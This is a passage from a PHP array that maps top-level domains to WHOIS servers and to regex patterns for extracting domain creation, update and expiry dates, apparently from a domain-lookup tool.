=> array("whois.dotmobiregistry.net", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "edu" => array("whois.educause.net", "/Domain record activated:(.*)/", "/Domain record last updated:(.*)/", "/Domain expires:(.*)/"), "gov" => array("whois.nic.gov", "/created:(.*)/", "/Last update of whois database:(.*)/", "/paid-till:(.*)/"), "tv" => array("whois.nic.tv", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ru" => array("whois.tcinet.ru", "/created:(.*)/", "/Last updated on(.*)/", "/paid-till:(.*)/"), "ro" => array("whois.rotld.ro", "/Registered On:(.*)/", "/Last Updated:(.*)/", "/Expiry Date:(.*)/"), "rs" => array("whois.rnids.rs", "/Registration date:(.*)/", "/Modification date:(.*)/", "/Expiration date:(.*)/"), "fr" => array("whois.nic.fr", "/created:(.*)/", "/last-update:(.*)/", "/Expiry Date:(.*)/"), "it" => array("whois.nic.it", "/Created:(.*)/", "/Last Update:(.*)/", "/Expire Date:(.*)/"), "nl" => array("whois.sidn.nl", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expire Date:(.*)/"), "tw" => array("whois.twnic.net.tw", "/Record created on(.*)/", "/Last Update:(.*)/", "/Record expires on(.*)/"), "ch" => array("whois.nic.ch", "/First registration date:\n(.*)/", "/Last Update:(.*)/", "/Record expires on(.*)/"), "hk" => array("whois.hknic.net.hk", "/Domain Name Commencement Date:(.*)/", "/Last Update:(.*)/", "/Expiry Date:(.*)/"), "au" => array("whois.auda.org.au", "/Creation Date:(.*)/", "/Last Modified:(.*)/", "/Expiration Date:(.*)/"), "de" => array("whois.denic.de", "/Creation Date:(.*)/", "/Changed:(.*)/", "/Expiration Date:(.*)/"), "cn" => array("whois.cnnic.net.cn", "/Registration Date:(.*)/", "/Changed:(.*)/", "/Expiration Date:(.*)/"), "asia" => array("whois.nic.asia", "/Domain Create Date:(.*)/", "/Domain Last Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "name" => array("whois.nic.name", "/Created On:(.*)/", "/Expires On:(.*)/", "/Updated On:(.*)/"), "aero" => array("whois.aero", "/Created On:(.*)/", "/Updated On:(.*)/", "/Expires On:(.*)/"), "pro" => array("whois.registrypro.pro", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "travel" => array("whois.nic.travel", "/Domain Registration Date:(.*)/", "/Domain Last Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "ie" => array("whois.iedr.ie", "/registration:(.*)/", "/renewal:(.*)/", "/Expiration Date:(.*)/"), "li" => array("whois.nic.li", "/First registration date:\n(.*)/", "/Last Update:(.*)/", "/Record expires on(.*)/"), "no" => array("whois.norid.no", "/Created:(.*)/", "/Last updated:(.*)/", "/Record expires on(.*)/"), "cc" => array("ccwhois.verisign-grs.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "eu" => array("whois.eu", "/Created On:(.*)/", "/Updated On:(.*)/", "/Expires On:(.*)/"), "nu" => array("whois.nic.nu", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "ws" => array("whois.worldsite.ws", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registrar Registration Expiration Date:(.*)/"), "sc" => array("whois2.afilias-grs.net", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "at" => array("whois.nic.at", "/Created On:(.*)/", "/changed:(.*)/", "/Expires On:(.*)/"), "be" => array("whois.dns.be", "/Registered:(.*)/", "/Updated:(.*)/", "/Expires On:(.*)/"), "se" => array("whois.iis.se", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "nz" => array("whois.srs.net.nz", "/domain_dateregistered:(.*)/", "/domain_datelastmodified:(.*)/", "/domain_datebilleduntil:(.*)/"), "mx" => array("whois.mx", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "ac" => array("whois.nic.ac", "/First Registered :(.*)/", "/Last Updated :(.*)/", "/Expiry :(.*)/"), "sh" => array("whois.nic.sh", "/First Registered :(.*)/", "/Last Updated :(.*)/", "/Expiry :(.*)/"), "ae" => array("whois.aeda.net.ae", "/First Registered :(.*)/", "/Last Updated :(.*)/", "/Expiry :(.*)/"), "af" => array("whois.nic.af", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ag" => array("whois.nic.ag", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "al" => array("whois.ripe.net", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "am" => array("whois.amnic.net", "/Registered:(.*)/", "/Last modified:(.*)/", "/Expires:(.*)/"), "as" => array("whois.nic.as", "/Registered on (.*)/", "/Last modified:(.*)/", "/Expires:(.*)/"), "az" => array("whois.ripe.net", "/Registered:(.*)/", "/Last modified:(.*)/", "/Expires:(.*)/"), "ba" => array("whois.ripe.net", "/Registered:(.*)/", "/Last modified:(.*)/", "/Expires:(.*)/"), "bg" => array("whois.register.bg", "/activated on:(.*)/", "/Last modified:(.*)/", "/expires at:(.*)/"), "bi" => array("whois1.nic.bi", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "bj" => array("whois.nic.bj", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "br" => array("whois.registro.br", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "bt" => array("whois.ripe.net", "/Creation date :(.*)/", "/Last Renewed :(.*)/", "/Expiration date:(.*)/"), "by" => array("whois.cctld.by", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiration Date:(.*)/"), "bz" => array("whois.belizenic.bz", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiration Date:(.*)/"), "cd" => array("whois.nic.cd", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiration Date:(.*)/"), "ck" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiration Date:(.*)/"), "cl" => array("whois.nic.cl", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "coop" => array("whois.nic.coop", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cx" => array("whois.nic.cx", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cy" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cz" => array("whois.nic.cz", "/registered:(.*)/", "/changed:(.*)/", "/expire:(.*)/"), "dk" => array("whois.dk-hostmaster.dk", "/Registered:(.*)/", "/changed:(.*)/", "/Expires:(.*)/"), "dm" => array("whois.nic.dm", "/created date:(.*)/", "/updated date:(.*)/", "/expiration date:(.*)/"), "dz" => array("whois.nic.dz", "/Date de creation#. . . . . . . . . . . . . . . . .(.*)/", "/updated date:(.*)/", "/expiration date:(.*)/"), "ee" => array("whois.eenet.ee", "/registered:(.*)/", "/changed:(.*)/", "/expire:(.*)/"), "eg" => array("whois.ripe.net", "/registered:(.*)/", "/changed:(.*)/", "/expire:(.*)/"), "es" => array("whois.nic.es", "/registered:(.*)/", "/changed:(.*)/", "/expire:(.*)/"), "fi" => array("whois.ficora.fi", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "fo" => array("whois.nic.fo", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "gb" => array("whois.ripe.net", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "2ls" => array("whois.2ls.me", "/registered:(.*)/", "/changed:(.*)/", "/expire:(.*)/"), "ge" => array("whois.ripe.net", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "gl" => array("whois.nic.gl", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "gm" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "gr" => array("whois.ripe.net", "/created:(.*)/", "/modified:(.*)/", "/expires:(.*)/"), "gs" => array("whois.nic.gs", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "hm" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "hn" => array("whois.nic.hn", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "hr" => array("whois.dns.hr", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "hu" => array("whois.nic.hu", "/record created:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "il" => array("whois.isoc.org.il", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "int" => array("whois.iana.org", "/created:(.*)/", "/changed:(.*)/", "/expires:(.*)/"), "iq" => array("whois.cmc.iq", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ir" => array("whois.nic.ir", "/created-date:(.*)/", "/last-updated:(.*)/", "/expire-date:(.*)/"), "is" => array("whois.isnic.is", "/created:(.*)/", "/last-updated:(.*)/", "/expires:(.*)/"), "je" => array("whois.je", "/Registered on (.*)/", "/last-updated:(.*)/", "/expires:(.*)/"), "jp" => array("whois.jprs.jp", "/Registered on (.*)/", "/last-updated:(.*)/", "/expires:(.*)/"), "kg" => array("whois.domain.kg", "/Record created:(.*)/", "/Record last updated on (.*)/", "/Record expires on(.*)/"), "kr" => array("whois.kr", "/Registered Date :(.*)/", "/Last Updated Date :(.*)/", "/Expiration Date :(.*)/"), "la" => array("whois.nic.la", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "lt" => array("whois.domreg.lt", "/Registered:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "lu" => array("whois.dns.lu", "/registered:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "lv" => array("whois.nic.lv", "/Changed:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ly" => array("whois.nic.ly", "/Created:(.*)/", "/Updated:(.*)/", "/Expired:(.*)/"), "ma" => array("whois.registre.ma", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "mc" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "md" => array("whois.nic.md", "/Created:(.*)/", "/Updated Date:(.*)/", "/Expiration date:(.*)/"), "mil" => array("whois.ripe.net", "/Created:(.*)/", "/Updated Date:(.*)/", "/Expiration date:(.*)/"), "mk" => array("whois.marnet.mk", "/registered:(.*)/", "/changed:(.*)/", "/expire:(.*)/"), "ms" => array("whois.nic.ms", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "mt" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "mu" => array("whois.nic.mu", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ir" => array("whois.nic.ir", "/Creation Date:(.*)/", "/last-updated:(.*)/", "/expire-date:(.*)/"), //"my" => array("whois.mynic.my", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "za" => array("net-whois.registry.net.za", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "capetown" => array("whois.nic.capetown", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "durban" => array("whois.nic.durban", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "joburg" => array("whois.nic.joburg", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "nf" => array("whois.nic.nf", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "pl" => array("whois.dns.pl", "/created:(.*)/", "/last modified:(.*)/", "/renewal date:(.*)/"), "pr" => array("whois.nic.pr", "/Created On:(.*)/", "/last modified:(.*)/", "/Expires On:(.*)/"), "pt" => array("whois.dns.pt", "/Creation Date(.*)/", "/last modified:(.*)/", "/Expiration Date(.*)/"), "sa" => array("saudinic.net.sa", "/Created on(.*)/", "/Last Updated on:(.*)/", "/Expiration Date(.*)/"), "sb" => array("whois.nic.net.sb", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "sg" => array("whois.nic.net.sg", "/Creation Date: (.*)/", "/Modified Date: (.*)/", "/Expiration Date: (.*)/"), "si" => array("whois.register.si", "/created:(.*)/", "/Updated Date:(.*)/", "/expire:(.*)/"), "sk" => array("whois.sk-nic.sk", "/created:(.*)/", "/Last-update(.*)/", "/Valid-date(.*)/"), "sm" => array("whois.nic.sm", "/Registration date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "st" => array("whois.nic.st", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiration Date:(.*)/"), "su" => array("whois.tcinet.ru", "/created:(.*)/", "/Updated Date:(.*)/", "/paid-till:(.*)/"), "tc" => array("whois.adamsnames.tc", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "tf" => array("whois.nic.tf", "/created:(.*)/", "/last-update:(.*)/", "/Expiry Date:(.*)/"), "th" => array("whois.thnic.co.th", "/Created date:(.*)/", "/Updated date:(.*)/", "/Exp date:(.*)/"), "tj" => array("whois.ripe.net", "/Created date:(.*)/", "/Updated date:(.*)/", "/Exp date:(.*)/"), "tk" => array("whois.nic.tk", "/Domain registered:(.*)/", "/Updated date:(.*)/", "/Record will expire on:(.*)/"), "tl" => array("whois.nic.tl", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "tm" => array("whois.nic.tm", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiry :(.*)/"), "tn" => array("whois.ati.tn", "/Activation:.........(.*)/", "/Updated Date:(.*)/", "/Expiry :(.*)/"), "to" => array("whois.tonic.to", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiry :(.*)/"), "tp" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiry :(.*)/"), "tr" => array("whois.nic.tr", "/Created on..............:(.*)/", "/Updated Date:(.*)/", "/Expires on..............:(.*)/"), "ua" => array("whois.ua", "/Record created:(.*)/", "/Record last updated:(.*)/", "/Record expires:(.*)/"), "uy" => array("whois.nic.org.uy", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "uz" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "va" => array("whois.ripe.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "vc" => array("whois2.afilias-grs.net", "/Created On:(.*)/", "/Last Updated On:(.*)/", "/Expiration Date:(.*)/"), "ve" => array("whois.nic.ve", "/Fecha de Creación:(.*)/", "/Ultima Actualización:(.*)/", "/Expiration Date:(.*)/"), "vg" => array("whois.nic.vg", "/created date:(.*)/", "/updated date:(.*)/", "/expiration date:(.*)/"), "sexy" => array("whois.nic.sexy", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "berlin" => array("whois.nic.berlin", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "academy" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "bargains" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "best" => array("whois.nic.best", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "bid" => array("whois.nic.bid", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "bike" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "black" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "blue" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "boutique" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "builders" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "build" => array("whois.nic.build", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "buzz" => array("whois.nic.buzz", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "cab" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "camera" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "camp" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "capital" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cards" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "careers" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "catering" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "center" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ceo" => array("whois.nic.ceo", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "cheap" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cleaning" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "clothing" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "club" => array("whois.nic.club", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "kiwi" => array("whois.nic.kiwi", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cm" => array("whois.netcom.cm", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "codes" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "coffee" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "community" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "company" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "computer" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "construction" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "consulting" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "contractors" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cool" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "cruises" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "dance" => array("whois.unitedtld.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "dating" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "democrat" => array("whois.unitedtld.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "diamonds" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "directory" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "domains" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "education" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "email" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "engineering" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "enterprises" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "equipment" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "estate" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "events" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "exchange" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "expert" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "exposed" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "farm" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "fish" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "flights" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "florist" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "foundation" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "gallery" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "gift" => array("whois.uniregistry.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "glass" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "graphics" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "gripe" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "guitars" => array("whois.uniregistry.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "guru" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "holdings" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "holiday" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "house" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ink" => array("whois.centralnic.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "institute" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "international" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "kaufen" => array("whois.unitedtld.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "kim" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "kitchen" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "land" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "lighting" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "limo" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "link" => array("whois.uniregistry.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "luxury" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "maison" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "management" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "marketing" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "meet" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "menu" => array("whois.nic.menu", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "moda" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ninja" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "onl" => array("whois.afilias-srs.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "partners" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "parts" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "photography" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "photos" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "photo" => array("whois.uniregistry.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "pics" => array("whois.uniregistry.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "pink" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "plumbing" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "productions" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "properties" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "pub" => array("whois.unitedtld.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "recipes" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "red" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "rentals" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "repair" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "report" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "reviews" => array("whois.unitedtld.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "rich" => array("whois.afilias-srs.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "rocks" => array("whois.unitedtld.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "services" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "shiksha" => array("whois.afilias.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "shoes" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "singles" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "solar" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry 